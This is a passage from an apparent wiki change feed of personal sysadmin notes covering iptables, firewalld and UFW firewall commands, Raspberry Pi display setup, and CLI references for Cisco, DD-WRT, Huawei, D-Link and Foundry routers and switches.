 ACCEPT     tcp  --  anywhere             anywhere            state NEW tcp dpt:http&lt;br /&gt;
 ACCEPT     tcp  --  anywhere             anywhere            state NEW tcp dpt:46590&lt;br /&gt;
 ACCEPT     udp  --  anywhere             anywhere            state NEW udp dpt:46720&lt;br /&gt;
 REJECT     all  --  anywhere             anywhere            reject-with icmp-host-prohibited&lt;br /&gt;
----&lt;br /&gt;
* apend a rule (to the end of the table) to accept connections on port 5901 (vncserver)&lt;br /&gt;
 iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 5901 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
* show NAT table&lt;br /&gt;
 iptables -t nat -L&lt;br /&gt;
 iptables -t nat -L -n -v | grep 'IP or anything'&lt;br /&gt;
 iptables -t nat -L -n -v&lt;br /&gt;
&lt;br /&gt;
*: netstat-nat, software to display nat connections&lt;br /&gt;
 netstat-nat -n&lt;br /&gt;
&lt;br /&gt;
* show SNAT connections, run:&lt;br /&gt;
 netstat-nat -S&lt;br /&gt;
&lt;br /&gt;
* show DNAT connections, type:&lt;br /&gt;
 netstat-nat -D&lt;br /&gt;
&lt;br /&gt;
== saving configuration in a file ==&lt;br /&gt;
 iptables-save &amp;gt; backup_iptables&lt;br /&gt;
&lt;br /&gt;
== restore conf from a file ==&lt;br /&gt;
 iptables-restore &amp;lt; backup_iptables&lt;br /&gt;
* this will only enable the configuration while iptables process is restarted, to avoid this, we need to save the configuration:&lt;br /&gt;
 /etc/init.d/iptables save&lt;br /&gt;
* now we can restart/reboot&lt;br /&gt;
&lt;br /&gt;
== redirecting connections ==&lt;br /&gt;
&lt;br /&gt;
=== from a specified port to an host ===&lt;br /&gt;
&lt;br /&gt;
 iptables -A PREROUTING -d HOSTONE -p tcp -m tcp --dport 80 -j DNAT --to-destination HOSTWO:80&lt;br /&gt;
 iptables -A POSTROUTING -d HOSTWO -j SNAT --to-source HOSTONE&lt;br /&gt;
&lt;br /&gt;
== Firewalld==&lt;br /&gt;
&lt;br /&gt;
 firewall-cmd --get-active-zones &lt;br /&gt;
 FedoraServer&lt;br /&gt;
  interfaces: em1&lt;br /&gt;
&lt;br /&gt;
 firewall-cmd --get-default-zone &lt;br /&gt;
 FedoraServer&lt;br /&gt;
&lt;br /&gt;
* change zone of an interface&lt;br /&gt;
 firewall-cmd --zone=home --change-interface=eth0&lt;br /&gt;
&lt;br /&gt;
* add port&lt;br /&gt;
 firewall-cmd --zone=FedoraServer --add-port=80/tcp --permanent&lt;br /&gt;
* remove port&lt;br /&gt;
 firewall-cmd --zone=FedoraServer --remove-port=80/tcp --permanent&lt;br /&gt;
&lt;br /&gt;
 firewall-cmd --reload&lt;br /&gt;
&lt;br /&gt;
 firewall-cmd --get-zones&lt;br /&gt;
 FedoraServer FedoraWorkstation block dmz drop external home internal public trusted work&lt;br /&gt;
&lt;br /&gt;
== UFW == &lt;br /&gt;
&lt;br /&gt;
''The Ubuntu Firewall''&lt;br /&gt;
&lt;br /&gt;
* status&lt;br /&gt;
 ufw status&lt;br /&gt;
* ...with line numbers&lt;br /&gt;
 ufw status numbered&lt;br /&gt;
&lt;br /&gt;
* numbers&lt;br /&gt;
&lt;br /&gt;
 ufw insert &amp;lt;number&amp;gt; allow from ...&lt;br /&gt;
 ufw delete &amp;lt;number&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''ufw allow from &amp;lt;target&amp;gt; to &amp;lt;destination&amp;gt; port &amp;lt;port number&amp;gt; proto &amp;lt;protocol name&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* allow all traffic on the forward chain (don't do this)&lt;br /&gt;
 ufw default allow FORWARD&lt;br /&gt;
&lt;br /&gt;
set DEFAULT_FORWARD_POLICY to ACCEPT&lt;br /&gt;
&lt;br /&gt;
 /etc/default/ufw&lt;br /&gt;
 DEFAULT_FORWARD_POLICY=&amp;quot;ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* denials&lt;br /&gt;
 ufw deny from 10.0.0.42&lt;br /&gt;
 ufw deny in on eth0 from 10.0.0.42&lt;br /&gt;
&lt;br /&gt;
* allow ssh's&lt;br /&gt;
 ufw allow ssh&lt;br /&gt;
 ufw allow 22&lt;br /&gt;
 ufw allow from 10.0.0.0/24 to any port 22&lt;br /&gt;
 ufw allow from 10.0.0.20 to 10.0.0.10 port 22&lt;br /&gt;
* web ports&lt;br /&gt;
 ufw allow http&lt;br /&gt;
 ufw allow 80&lt;br /&gt;
 ufw allow https&lt;br /&gt;
 ufw allow 443&lt;br /&gt;
 ufw allow proto tcp from any to any port 80,443&lt;br /&gt;
* some dbs&lt;br /&gt;
Allow MySQL from Specific IP Address or Subnet&lt;br /&gt;
 ufw allow from 10.0.0.0/24 to any port 3306&lt;br /&gt;
Allow MySQL to Specific Network Interface&lt;br /&gt;
 ufw allow in on eth1 to any port 3306&lt;br /&gt;
PostgreSQL from Specific IP Address or Subnet&lt;br /&gt;
 ufw allow from 10.0.0.0/24 to any port 5432&lt;br /&gt;
&lt;br /&gt;
* routing from ''eth1'' to ''eth2''&lt;br /&gt;
     ufw route allow in on eth1 out on eth2&lt;br /&gt;
&lt;br /&gt;
* a UDP port on any interface from specific IP&lt;br /&gt;
 ufw allow proto udp from 107.172.59.23 to any port 8288&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Raspberrypi&amp;diff=6415</id>
		<title>Raspberrypi</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Raspberrypi&amp;diff=6415"/>
		<updated>2022-07-07T15:50:07Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* software */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://www.raspberrypi.org/documentation/configuration/config-txt.md&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= casting to a raspberry =&lt;br /&gt;
&lt;br /&gt;
 apt-get install libwidevinecdm0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= installing 7 Display =&lt;br /&gt;
&lt;br /&gt;
There are 4 jumper wires (Red, Black, Yelow &amp;amp; Green) that connect to  the following pins on the LCD controller board:&lt;br /&gt;
&lt;br /&gt;
    Red wire to pin marked 5V&lt;br /&gt;
    Green wire to pin marked SDA&lt;br /&gt;
    Yellow wire to pined marked SCL&lt;br /&gt;
    Black wire to pin marked GND&lt;br /&gt;
&lt;br /&gt;
The other end of the wires will connect to the following pins on the Raspberry Pi computer board:&lt;br /&gt;
&lt;br /&gt;
    Red wire to pin 2&lt;br /&gt;
    Green wire to pin 3&lt;br /&gt;
    Yellow wire to pin 4&lt;br /&gt;
    Black wire to pin 6&lt;br /&gt;
&lt;br /&gt;
* Xorg modifications&lt;br /&gt;
&lt;br /&gt;
Paste in: /etc/X11/xorg.conf&lt;br /&gt;
&lt;br /&gt;
 Section &amp;quot;InputClass&amp;quot;&lt;br /&gt;
   Identifier &amp;quot;calibration&amp;quot;&lt;br /&gt;
   Driver &amp;quot;evdev&amp;quot;&lt;br /&gt;
   MatchProduct &amp;quot;FT5406 memory based driver&amp;quot;&lt;br /&gt;
&lt;br /&gt;
   Option &amp;quot;EmulateThirdButton&amp;quot; &amp;quot;1&amp;quot;&lt;br /&gt;
   Option &amp;quot;EmulateThirdButtonTimeout&amp;quot; &amp;quot;750&amp;quot;&lt;br /&gt;
   Option &amp;quot;EmulateThirdButtonMoveThreshold&amp;quot; &amp;quot;30&amp;quot;&lt;br /&gt;
 EndSection&lt;br /&gt;
&lt;br /&gt;
= installing 3.5 Display =&lt;br /&gt;
&lt;br /&gt;
there are various models of the same 3.5 display, two are listed here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 sudo rm -rf LCD-show&lt;br /&gt;
 git clone https://github.com/goodtft/LCD-show.git&lt;br /&gt;
 chmod -R 755 LCD-show&lt;br /&gt;
 cd LCD-show/&lt;br /&gt;
&lt;br /&gt;
* MHS-3.5inch_RPi_Display&lt;br /&gt;
&lt;br /&gt;
http://www.lcdwiki.com/MHS-3.5inch_RPi_Display &lt;br /&gt;
&lt;br /&gt;
 cd LCD-show/&lt;br /&gt;
 sudo ./MHS35-show&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* V3 3.5inch_RPi_Display&lt;br /&gt;
&lt;br /&gt;
 cd LCD-show/&lt;br /&gt;
 sudo ./LCD35-show&lt;br /&gt;
&lt;br /&gt;
* rotate display&lt;br /&gt;
 cd LCD-show/&lt;br /&gt;
 sudo ./rotate.sh 90  .. 180  270&lt;br /&gt;
&lt;br /&gt;
= config =&lt;br /&gt;
&lt;br /&gt;
* DSI lines&lt;br /&gt;
 DSI lines are disabled by default. To enable detection, add the following line to /boot/config.txt:&lt;br /&gt;
&lt;br /&gt;
 ignore_lcd=0&lt;br /&gt;
&lt;br /&gt;
= software =&lt;br /&gt;
* on screen keyboard&lt;br /&gt;
 apt-get install matchbox-keyboard&lt;br /&gt;
or&lt;br /&gt;
 sudo apt-get install florence&lt;br /&gt;
&lt;br /&gt;
== Raspbian 11 ==&lt;br /&gt;
&lt;br /&gt;
=== LAn iface names ===&lt;br /&gt;
&lt;br /&gt;
iface names are renamed to enx???? .... very bad&lt;br /&gt;
&lt;br /&gt;
* in /boot/cmdline.txt&lt;br /&gt;
 net.ifnames=0 biosdevname=0&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6414</id>
		<title>Router-language</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6414"/>
		<updated>2022-07-06T19:02:37Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* Cisco */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cisco ==&lt;br /&gt;
&lt;br /&gt;
* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html&lt;br /&gt;
*; admin console&lt;br /&gt;
 enable&lt;br /&gt;
*; Save config&lt;br /&gt;
 # write memory&lt;br /&gt;
&lt;br /&gt;
=== Interfaces ===&lt;br /&gt;
&lt;br /&gt;
 show interface GigabitEthernet 1/0/1&lt;br /&gt;
&lt;br /&gt;
 show interfaces switchport&lt;br /&gt;
 &lt;br /&gt;
 show interface GigabitEthernet 1/0/1 ?&lt;br /&gt;
  accounting      Show interface accounting&lt;br /&gt;
  capabilities    Show interface capabilities information&lt;br /&gt;
  controller      Show interface status, configuration and controller status&lt;br /&gt;
  counters        Show interface counters&lt;br /&gt;
  crb             Show interface routing/bridging info&lt;br /&gt;
  dampening       Show interface dampening info&lt;br /&gt;
  debounce        Show interface debounce time info&lt;br /&gt;
  description     Show interface description&lt;br /&gt;
  etherchannel    Show interface etherchannel information&lt;br /&gt;
  fair-queue      Show interface Weighted Fair Queueing (WFQ) info&lt;br /&gt;
  flowcontrol     Show interface flowcontrol information&lt;br /&gt;
  history         Show interface history&lt;br /&gt;
  human-readable  show interfaces output with larger numbers separated by comma(s)&lt;br /&gt;
  irb             Show interface routing/bridging info&lt;br /&gt;
  mac-accounting  Show interface MAC accounting info&lt;br /&gt;
  mpls-exp        Show interface MPLS experimental accounting info&lt;br /&gt;
  mtu             Show interface mtu&lt;br /&gt;
  precedence      Show interface precedence accounting info&lt;br /&gt;
  pruning         Show interface trunk VTP pruning information&lt;br /&gt;
  random-detect   Show interface Weighted Random Early Detection (WRED) info&lt;br /&gt;
  rate-limit      Show interface rate-limit info&lt;br /&gt;
  stats           Show interface packets &amp;amp; octets, in &amp;amp; out, by switching path&lt;br /&gt;
  status          Show interface line status&lt;br /&gt;
  summary         Show interface summary&lt;br /&gt;
  '''switchport'''      Show interface switchport information&lt;br /&gt;
  transceiver     Show interface transceiver&lt;br /&gt;
  trunk           Show interface trunk information&lt;br /&gt;
  users           Show interface users&lt;br /&gt;
  vlan            Show interface vlan information&lt;br /&gt;
&lt;br /&gt;
 show interface GigabitEthernet 1/0/1&lt;br /&gt;
&lt;br /&gt;
 interface range gigabitEthernet 1/0/9-12&lt;br /&gt;
 (config-if-range)#switchport mode dynamic auto&lt;br /&gt;
 (config-if-range)#switchport trunk allowed vlan 5-7  &lt;br /&gt;
 (config-if-range)#switchport trunk native vlan 6&lt;br /&gt;
 end&lt;br /&gt;
=== VLAN ===&lt;br /&gt;
&lt;br /&gt;
 show vlan summary&lt;br /&gt;
&lt;br /&gt;
 show vlan id 6&lt;br /&gt;
&lt;br /&gt;
 show interface vlan  6  &lt;br /&gt;
  Vlan6 is up, line protocol is up &lt;br /&gt;
  Hardware is EtherSVI, address is e8b&lt;br /&gt;
&lt;br /&gt;
*; New VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# vlan 20&lt;br /&gt;
 Switch(config-vlan)# name test20&lt;br /&gt;
 Switch(config-vlan)# end &lt;br /&gt;
&lt;br /&gt;
 Switch(config)# no vlan vlan-id&lt;br /&gt;
*: Port With only one untagged VLAN &lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode access&lt;br /&gt;
 Switch(config-if)# switchport access vlan 2&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; Port in auto trunk mode (IEEE 802.1Q trunking) &lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode dynamic desirable&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; remove VLAN 2 from the allowed VLAN list on a port:&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport trunk allowed vlan remove 2&lt;br /&gt;
 Switch(config-if)# end&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet 1/0/1&lt;br /&gt;
 port link-type hybrid&lt;br /&gt;
 port hybrid vlan 5 7 tagged&lt;br /&gt;
 port hybrid vlan 6 untagged&lt;br /&gt;
 undo port hybrid vlan 1&lt;br /&gt;
 port hybrid pvid vlan 6&lt;br /&gt;
 #&lt;br /&gt;
&lt;br /&gt;
== DD-WRT ==&lt;br /&gt;
&lt;br /&gt;
* show all variables named/containing '''&amp;lt;something&amp;gt;'''&lt;br /&gt;
 nvram show|grep &amp;lt;something&amp;gt;&lt;br /&gt;
 nvram show|grep ports&lt;br /&gt;
&lt;br /&gt;
* unset all variables named/containing '''&amp;lt;something&amp;gt;'''&lt;br /&gt;
 for a in $(nvram show|grep &amp;lt;something&amp;gt;|grep -v size);do nvram unset $(echo $a|cut -d&amp;quot;=&amp;quot; -f1);done &lt;br /&gt;
&lt;br /&gt;
# nvram commit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[edit] Port Attributes&lt;br /&gt;
&lt;br /&gt;
 0 or 1 to 15, or even 4096 This is the VLAN for the port. NOTE that due to the other attributes below, VLANs 16 to 21 are not supported!&lt;br /&gt;
 16 Tagged&lt;br /&gt;
 17 NOT Auto-Negotiate. (If #17 is off, you'll get 18, 19, and 21 on a gigabit switch)&lt;br /&gt;
 18 = NOT forced-100 MBit (either Auto-Negotiate is used, or some other speed is forced)&lt;br /&gt;
 19 = NOT Full-Duplex (either Auto-Negotiate is used, or Half-duplex is forced)&lt;br /&gt;
 20 = NOT Enabled (ie. disabled) &lt;br /&gt;
 21 = NOT forced-Gigabit (either Auto-Negotiate is used, or some other speed is forced)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== VLAN ===&lt;br /&gt;
&lt;br /&gt;
 vlan#ports &lt;br /&gt;
    Each vlan is assigned one or more ports plus the CPU port. Default vlan and tagging also specified. &lt;br /&gt;
port#vlans &lt;br /&gt;
    Each port is assigned to one vlan (CPU to all vlans). Plus other per-port settings for speed, duplex, etc. &lt;br /&gt;
vlan#hwname &lt;br /&gt;
    Activates a vlan, ensuring it is properly initialized. &lt;br /&gt;
&lt;br /&gt;
*attributes&lt;br /&gt;
These are suffixes for the final CPU port number.&lt;br /&gt;
*&amp;quot;t&amp;quot; &lt;br /&gt;
    tag with 802.1q vlan header (e.g. for trunking). Can be added to one or more ports in a vlan. &lt;br /&gt;
*&amp;quot;u&amp;quot; &lt;br /&gt;
    used on WAN vlan, to ensure WAN traffic is untagged. &lt;br /&gt;
*&amp;quot;*&amp;quot; &lt;br /&gt;
    used on default LAN VLAN, untagged incoming traffic goes here. &lt;br /&gt;
&lt;br /&gt;
 vlan4ports=0 5*&lt;br /&gt;
 vlan4_ipaddr=0.0.0.0&lt;br /&gt;
 vlan4hwname=et0&lt;br /&gt;
 port2vlans=4&lt;br /&gt;
&lt;br /&gt;
== Huawei ==&lt;br /&gt;
;(AR502CG-L)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
More details in [[Huawei AR500]]&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands&lt;br /&gt;
&lt;br /&gt;
* Access CLI&lt;br /&gt;
** from the web interface, create a telnet enabled user and enable telnet service.&lt;br /&gt;
&lt;br /&gt;
 telnet 192.168.x.x &lt;br /&gt;
 ...&lt;br /&gt;
 system-view&lt;br /&gt;
&lt;br /&gt;
=== Cellular WAN connection information ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display cellular 0/0/0 all&lt;br /&gt;
Modem State:&lt;br /&gt;
Hardware Information.&lt;br /&gt;
=====================&lt;br /&gt;
Model = ME909s-120&lt;br /&gt;
Modem Type = LTE module&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display APN profiles&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display apn-profile configuration&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display IP interface WAN&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
display interface cellular 0/0/0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 display ip interface brief&lt;br /&gt;
&lt;br /&gt;
 display ip routing-table&lt;br /&gt;
&lt;br /&gt;
* reset counters&lt;br /&gt;
 reset counters interface cellular 0/0/0&lt;br /&gt;
&lt;br /&gt;
=== del vlan ===&lt;br /&gt;
 [RouterBackup]undo interface Vlanif 6  &lt;br /&gt;
 [RouterBackup]undo Vlan 6&lt;br /&gt;
&lt;br /&gt;
=== change Interface MTU ===&lt;br /&gt;
 &amp;lt;Huawei&amp;gt; system-view&lt;br /&gt;
 [Huawei] interface cellular 0/0/0 &lt;br /&gt;
 [Huawei-Cellular0/0/0] mtu 1200&lt;br /&gt;
 [Huawei-Cellular0/0/0] restart&lt;br /&gt;
&lt;br /&gt;
=== Save running config ===&lt;br /&gt;
 [Router] save&lt;br /&gt;
&lt;br /&gt;
=== SMS ===&lt;br /&gt;
&lt;br /&gt;
* List SMS&lt;br /&gt;
 display sms interface cellular 0/0/0 brief&lt;br /&gt;
&lt;br /&gt;
* SMS stats&lt;br /&gt;
 display sms interface cellular 0/0/0 statistics&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== NAT tutorial ===&lt;br /&gt;
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet&lt;br /&gt;
&lt;br /&gt;
*;  Create an APN profile.&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;Huawei&amp;gt; system-view&lt;br /&gt;
  [Huawei] sysname Router&lt;br /&gt;
  [Router] apn profile lteprofile&lt;br /&gt;
  [Router-apn-profile-lteprofile] apn ltenet&lt;br /&gt;
  [Router-apn-profile-lteprofile] quit&lt;br /&gt;
&lt;br /&gt;
*;  Configure a network connection mode.&lt;br /&gt;
&lt;br /&gt;
  [Router] interface cellular 0/0/0&lt;br /&gt;
  [Router-Cellular0/0/0] mode lte auto&lt;br /&gt;
&lt;br /&gt;
*;  Bind the APN profile to the LTE cellular interface.&lt;br /&gt;
&lt;br /&gt;
  [Router-Cellular0/0/0] dialer enable-circular&lt;br /&gt;
  [Router-Cellular0/0/0] apn-profile ltenet&lt;br /&gt;
  [Router-Cellular0/0/0] shutdown&lt;br /&gt;
  [Router-Cellular0/0/0] undo shutdown&lt;br /&gt;
  [Router-Cellular0/0/0] quit&lt;br /&gt;
&lt;br /&gt;
Configure C-DCC for dial-up connection.&lt;br /&gt;
&lt;br /&gt;
*;  Configure a dialer control list.&lt;br /&gt;
&lt;br /&gt;
  [Router] dialer-rule&lt;br /&gt;
  [Router-dialer-rule] dialer-rule 1 ip permit&lt;br /&gt;
  [Router-dialer-rule] quit&lt;br /&gt;
&lt;br /&gt;
*;  Obtain IP addresses dynamically.&lt;br /&gt;
&lt;br /&gt;
  [Router] interface cellular 0/0/0&lt;br /&gt;
  [Router-Cellular0/0/0] ip address negotiate&lt;br /&gt;
&lt;br /&gt;
*;  Associate Cellular0/0/0 to the dialer control list.&lt;br /&gt;
&lt;br /&gt;
  [Router-Cellular0/0/0] dialer-group 1&lt;br /&gt;
&lt;br /&gt;
Ensure that the group-number value in the dialer-group command is the same as the dialer-rule-number value in the dialer-rule command.&lt;br /&gt;
&lt;br /&gt;
*; Configure the dialer number.&lt;br /&gt;
&lt;br /&gt;
  [Router-Cellular0/0/0] dialer number *99# autodial&lt;br /&gt;
  [Router-Cellular0/0/0] quit&lt;br /&gt;
&lt;br /&gt;
*;Configure the enterprise intranet.&lt;br /&gt;
&lt;br /&gt;
*  Create VLAN 10 and add Ethernet 2/0/0 to VLAN 10.&lt;br /&gt;
&lt;br /&gt;
  [Router] vlan 10&lt;br /&gt;
  [Router-vlan10] quit&lt;br /&gt;
  [Router] interface ethernet 2/0/0&lt;br /&gt;
  [Router-Ethernet2/0/0] port link-type trunk&lt;br /&gt;
  [Router-Ethernet2/0/0] port trunk allow-pass vlan 10&lt;br /&gt;
  [Router-Ethernet2/0/0] quit&lt;br /&gt;
&lt;br /&gt;
*; Enable DHCP.&lt;br /&gt;
&lt;br /&gt;
  [Router] dhcp enable&lt;br /&gt;
&lt;br /&gt;
*; Create a global address pool.&lt;br /&gt;
&lt;br /&gt;
  [Router] ip pool 4gpool&lt;br /&gt;
  [Router-ip-pool-4gpool] network 192.168.100.0 mask 255.255.255.0&lt;br /&gt;
  [Router-ip-pool-4gpool] gateway-list 192.168.100.1&lt;br /&gt;
  [Router-ip-pool-4gpool] quit&lt;br /&gt;
&lt;br /&gt;
*; Configure the interface to work in global address pool mode.&lt;br /&gt;
&lt;br /&gt;
  [Router] interface vlanif 10&lt;br /&gt;
  [Router-Vlanif10] ip address 192.168.100.1 255.255.255.0&lt;br /&gt;
  [Router-Vlanif10] dhcp select global&lt;br /&gt;
  [Router-Vlanif10] quit&lt;br /&gt;
&lt;br /&gt;
*; Configure the NAT function.&lt;br /&gt;
&lt;br /&gt;
  [Router] acl number 3002&lt;br /&gt;
  [Router-acl-adv-3002] rule 5 permit ip source 192.168.100.0 0.0.0.255&lt;br /&gt;
  [Router-acl-adv-3002] quit&lt;br /&gt;
  [Router] interface cellular 0/0/0&lt;br /&gt;
  [Router-Cellular0/0/0] nat outbound 3002&lt;br /&gt;
  [Router-Cellular0/0/0] quit&lt;br /&gt;
&lt;br /&gt;
*; Configure a default route and specify Cellular0/0/0 as the outbound interface.&lt;br /&gt;
&lt;br /&gt;
  [Router] ip route-static 0.0.0.0 0 cellular 0/0/0&lt;br /&gt;
&lt;br /&gt;
== DLink ==&lt;br /&gt;
&lt;br /&gt;
xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
VLAN Command List&lt;br /&gt;
create vlan &amp;lt;vlan_name 32 &amp;gt; tag &amp;lt;vlanid 2-4094&amp;gt; { type [1q_vlan advertisement | private_vlan] }&lt;br /&gt;
create vlan vlanid &amp;lt;vidlist&amp;gt; { type [1q_vlan | private_vlan] { advertisement } }&lt;br /&gt;
delete vlan &amp;lt;vlan_name&amp;gt;&lt;br /&gt;
delete vlan vlanid &amp;lt;vlanid_list&amp;gt;&lt;br /&gt;
config vlan &amp;lt; vlan_name &amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ] }&lt;br /&gt;
config vlan vlanid &amp;lt;vidlist&amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ]| name &amp;lt;vlan_name&amp;gt;}&lt;br /&gt;
config vlan &amp;lt;vlan_name&lt;br /&gt;
&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config vlan vlanid &amp;lt;vlanid_&lt;br /&gt;
list&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config gvrp [&amp;lt;portlist&amp;gt; | all] {state [enable | disable] | ingress_checking [enable | disable]&lt;br /&gt;
|acceptable_frame[tagged_only | admit_all] pvid&amp;lt;vlanid 1-4094&amp;gt; }&lt;br /&gt;
enable gvrp&lt;br /&gt;
disable gvrp&lt;br /&gt;
show vlan { &amp;lt;vlan_name 32&amp;gt; | vlanid&lt;br /&gt;
&amp;lt;vlanid_list&amp;gt; | ports &amp;lt;portlist&amp;gt;}&lt;br /&gt;
show gvrp {&amp;lt;portlist&amp;gt;}&lt;br /&gt;
enable pvid auto_assign&lt;br /&gt;
disable pvid auto_assign&lt;br /&gt;
show pvid auto_assign&lt;br /&gt;
config private_vlan [&amp;lt;vlan_name 32&amp;gt; | vid &amp;lt;vlanid 1-4094&amp;gt;] [add [isolated | community] | remove]&lt;br /&gt;
[&amp;lt;vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;]&lt;br /&gt;
show private_vlan { [vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;] } &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Foundry ==&lt;br /&gt;
&lt;br /&gt;
=== show ===&lt;br /&gt;
  802-1w                 Rapid Spanning tree IEEE 802.1w D10 status&lt;br /&gt;
  aaa                    Show TACACS+ and RADIUS server statistics&lt;br /&gt;
  access-list            Show access list hit statistics&lt;br /&gt;
  acl-on-arp             Show ARP ACL filtering&lt;br /&gt;
  arp                    Arp table&lt;br /&gt;
  auth-mac-addresses     MAC Authentication status&lt;br /&gt;
  batch                  Batch commands&lt;br /&gt;
  cable-diagnostics      Show Cable Diagnostics&lt;br /&gt;
  chassis                Power supply/fan/temperature&lt;br /&gt;
  clock                  System time and date&lt;br /&gt;
  configuration          Configuration data in startup config file&lt;br /&gt;
  debug                  Debug information&lt;br /&gt;
  default                System default settings&lt;br /&gt;
  dot1x                  dot1x  information&lt;br /&gt;
  errdisable             Errdisable status&lt;br /&gt;
  fdp                    CDP/FDP information&lt;br /&gt;
  flash                  Flash memory contents&lt;br /&gt;
  interfaces             Port status&lt;br /&gt;
  ip                     IP address setting&lt;br /&gt;
  ipv6                   IP setting&lt;br /&gt;
  link-aggregate         802.3ad Link Aggregation Information&lt;br /&gt;
  link-error-disable     Link Debouncing Control&lt;br /&gt;
  link-keepalive         Link Layer Keepalive&lt;br /&gt;
  logging                System log                               &lt;br /&gt;
  mac-address            MAC address table&lt;br /&gt;
  media                  Gig port SX/LX/LHA/LHB&lt;br /&gt;
  memory                 System memory usage&lt;br /&gt;
  metro-ring             metro ring protocol information&lt;br /&gt;
  mirror                 Mirror ports&lt;br /&gt;
  monitor                Monitor ports&lt;br /&gt;
  mstp                   show MSTP (IEEE 802.1s) information&lt;br /&gt;
  port                   Show port security&lt;br /&gt;
  priority-mapping       802.1Q tagged priority setting&lt;br /&gt;
  processes              Active process statistics&lt;br /&gt;
  protected-link-group   Show Protected Link Group Details&lt;br /&gt;
  ptrace                 Global ptrace information&lt;br /&gt;
  qos-profiles           QOS configuration&lt;br /&gt;
  qos-tos                IPv4 ToS based QoS&lt;br /&gt;
  radius                 show radius server debug info&lt;br /&gt;
  rate-limit             Rate-limiting table and actions&lt;br /&gt;
  redundancy             Display management redundancy details&lt;br /&gt;
  relative-utilization   Relative utilization list&lt;br /&gt;
  reload                 Scheduled system reset&lt;br /&gt;
  rmon                   Rmon status&lt;br /&gt;
  running-config         Current running-config&lt;br /&gt;
  sflow                  sflow information&lt;br /&gt;
  snmp                   SNMP statistics                          &lt;br /&gt;
  sntp                   Show SNTP&lt;br /&gt;
  span                   Spanning tree status&lt;br /&gt;
  statistics             Packet statistics&lt;br /&gt;
  stp-bpdu-guard         Show stp bpdu guard status&lt;br /&gt;
  stp-group              Spanning Tree Group Membership&lt;br /&gt;
  stp-protect-ports      Show stp-protect enabled ports and their BPDU drop&lt;br /&gt;
                         counters&lt;br /&gt;
  tech-support           System snap shot for tech support&lt;br /&gt;
  telnet                 Telnet connection&lt;br /&gt;
  topology-group         Topology Group Membership&lt;br /&gt;
  traffic-policy         Show traffic policy definition&lt;br /&gt;
  transmit-counter       Transmit Queue Counters&lt;br /&gt;
  trunk                  Show trunk status&lt;br /&gt;
